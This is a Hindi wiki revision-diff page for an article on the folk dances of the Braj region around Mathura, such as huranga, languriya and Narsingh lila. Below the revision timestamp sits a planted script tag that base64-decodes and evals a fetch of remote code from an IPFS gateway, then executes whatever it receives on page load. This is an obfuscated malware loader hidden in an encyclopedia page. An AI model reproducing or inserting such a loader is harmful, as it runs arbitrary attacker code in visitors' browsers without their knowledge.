"लोकनृत्य" के अवतरणों में अंतर
व्यवस्थापन (चर्चा | योगदान) छो (Text replace - " ।" to "।") |
|||
(६ सदस्यों द्वारा किये गये बीच के १० अवतरण नहीं दर्शाए गए) | |||
पंक्ति १: | पंक्ति १: | ||
− | {{menu}} | + | {{menu}} |
==लोकनृत्य / Folk Dance== | ==लोकनृत्य / Folk Dance== | ||
+ | {|style="background-color:#FFEBE1;border:1px solid #993300" cellspacing="5" align="right" | ||
+ | | | ||
+ | <font color="#993300">'''अन्य सम्बंधित लिंक'''</font> | ||
+ | ---- | ||
+ | *[[होली जन्मभूमि विडियो 5|लोकनृत्य]] | ||
+ | |} | ||
+ | [[रासलीला]], लोकनृत्य की प्रमुख विधा के अलावा चैत्र तथा अश्विनी मास की नवरात्रियों में महिलाओं के लांगुरिया नृत्य होते हैं। इसके दौरान महिलायें लांगुरिया गाती हैं और मध्य में एक महिला द्वारा अनेक मुद्राजन नृत्य का प्रदर्शन होता है। ग्रामीण अंचल में होली के दूसरे दिन से बासोड़ा या संवत्सर प्रतिपदा तक हुरंगा नृत्य चलता है। इसमें ग्राम के थोकों के अनुसार स्त्री–पुरुष सायंकाल एकत्रित होकर होली गाते हुए नृत्य करते हैं। नृत्य में युवा स्त्री–पुरुष ही नाचते हैं। शेष सभी आयु के स्त्री–पुरुष गायन वादन करते हैं। वादन में [[नगाड़ा|नगाड़े]], [[ढप]], [[ढोल]], [[खंजरी]]' [[बांसुरी]], [[अलगोजा]], [[बम]], [[चंग]], [[उपंग]] [[मोचंग]], [[ढपली]] आदि वाद्यों का प्रयोग होता है। हुरंगा नृत्य में [[दाऊजी]] का हुरंगा प्रसिद्ध है। [[वल्लभ संप्रदाय|वल्लभ सम्प्रदाय]] के मंदिरों में [[बसन्त पंचमी]] से चैत्र कृष्ण द्वितीया तक ढ़ाढा–ढाढ़ी नृत्य का आयोजन होता है। यह नृत्य सायंकाल के समय श्री ठाकुरजी के सामने शयन के दर्शनों में होता है। कलाविद् स्त्री–पुरुष वेष में रसिया और [[धमार]] पद गायन के साथ अलग–अलग अपना नृत्य प्रदर्शित कर दर्शकों को भावविभोर कर देते हैं। इस नृत्य की परम्परा में [[मथुरा]] का [[द्वारिकाधीश मन्दिर|श्री द्वारिकाधीश मंदिर]] अग्रणी है। | ||
+ | ---- | ||
+ | नृसिंह नृत्य वैशाख शुक्ला चतुर्दशी को सूर्यास्त या पूर्णिमा की प्रात: बेला में होता है। नृसिंह बनने वाले कलाकार को उस दिन व्रत रखना पड़ता है और नर्तक नृसिंह वेश तथा चेहरे को पहनता है। अन्य सभी [[तबला]] घण्टा, घड़ियाल, [[झांझ]] आदि बाजे एक विशिष्ट स्वर ताल में बजाते हैं , जिनके बोल | ||
+ | |||
+ | 'जै नृसिंह, जै नृसिंह जै, जै, जै, जै, जै नृसिंह जै जै जै भई जै जै जै, हिरनाकुस मार्यो तुही तुही–नर्सिहा नरचै थेई थेई' है। | ||
− | + | इसे नृसिंह नृत्य न कहकर नृसिंह लीला भी कहा जाता है , जिसका सम्बन्ध हिरण्यकश्यप द्वारा प्रहलाद जी को सताये जाने से लेकर हिरण्यकश्यप की पुरानी कथा से है। यह नृत्य विशेष कर मथुरा नगर के द्वारकाधीश मंदिर, नृसिंह बगीची भूतेश्वर, गोलपाड़ा, मानिक चौक, स्वामी घाट, कुआं गली, सतघड़ा में होता है। इनके अतिरिक्त विवाहों के दौरान विभिन्न जातियों के नृत्यों का भी जनपद में चलन है। इनमें 'माँढयौ जगानौ', 'ललमनिया भैरो' नृत्य सहित कुछ अन्य नृत्य भी शामिल हैं। | |
− | |||
− | |||
− | [[ | + | [[Category:नृत्य-नाट्य]] |
− | [[ | + | [[Category: कोश]] |
+ | __INDEX__ |
१३:०३, २ नवम्बर २०१३ के समय का अवतरण
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
लोकनृत्य / Folk Dance
अन्य सम्बंधित लिंक |
रासलीला, लोकनृत्य की प्रमुख विधा के अलावा चैत्र तथा अश्विनी मास की नवरात्रियों में महिलाओं के लांगुरिया नृत्य होते हैं। इसके दौरान महिलायें लांगुरिया गाती हैं और मध्य में एक महिला द्वारा अनेक मुद्राजन नृत्य का प्रदर्शन होता है। ग्रामीण अंचल में होली के दूसरे दिन से बासोड़ा या संवत्सर प्रतिपदा तक हुरंगा नृत्य चलता है। इसमें ग्राम के थोकों के अनुसार स्त्री–पुरुष सायंकाल एकत्रित होकर होली गाते हुए नृत्य करते हैं। नृत्य में युवा स्त्री–पुरुष ही नाचते हैं। शेष सभी आयु के स्त्री–पुरुष गायन वादन करते हैं। वादन में नगाड़े, ढप, ढोल, खंजरी' बांसुरी, अलगोजा, बम, चंग, उपंग मोचंग, ढपली आदि वाद्यों का प्रयोग होता है। हुरंगा नृत्य में दाऊजी का हुरंगा प्रसिद्ध है। वल्लभ सम्प्रदाय के मंदिरों में बसन्त पंचमी से चैत्र कृष्ण द्वितीया तक ढ़ाढा–ढाढ़ी नृत्य का आयोजन होता है। यह नृत्य सायंकाल के समय श्री ठाकुरजी के सामने शयन के दर्शनों में होता है। कलाविद् स्त्री–पुरुष वेष में रसिया और धमार पद गायन के साथ अलग–अलग अपना नृत्य प्रदर्शित कर दर्शकों को भावविभोर कर देते हैं। इस नृत्य की परम्परा में मथुरा का श्री द्वारिकाधीश मंदिर अग्रणी है।
नृसिंह नृत्य वैशाख शुक्ला चतुर्दशी को सूर्यास्त या पूर्णिमा की प्रात: बेला में होता है। नृसिंह बनने वाले कलाकार को उस दिन व्रत रखना पड़ता है और नर्तक नृसिंह वेश तथा चेहरे को पहनता है। अन्य सभी तबला घण्टा, घड़ियाल, झांझ आदि बाजे एक विशिष्ट स्वर ताल में बजाते हैं , जिनके बोल
'जै नृसिंह, जै नृसिंह जै, जै, जै, जै, जै नृसिंह जै जै जै भई जै जै जै, हिरनाकुस मार्यो तुही तुही–नर्सिहा नरचै थेई थेई' है।
इसे नृसिंह नृत्य न कहकर नृसिंह लीला भी कहा जाता है , जिसका सम्बन्ध हिरण्यकश्यप द्वारा प्रहलाद जी को सताये जाने से लेकर हिरण्यकश्यप की पुरानी कथा से है। यह नृत्य विशेष कर मथुरा नगर के द्वारकाधीश मंदिर, नृसिंह बगीची भूतेश्वर, गोलपाड़ा, मानिक चौक, स्वामी घाट, कुआं गली, सतघड़ा में होता है। इनके अतिरिक्त विवाहों के दौरान विभिन्न जातियों के नृत्यों का भी जनपद में चलन है। इनमें 'माँढयौ जगानौ', 'ललमनिया भैरो' नृत्य सहित कुछ अन्य नृत्य भी शामिल हैं।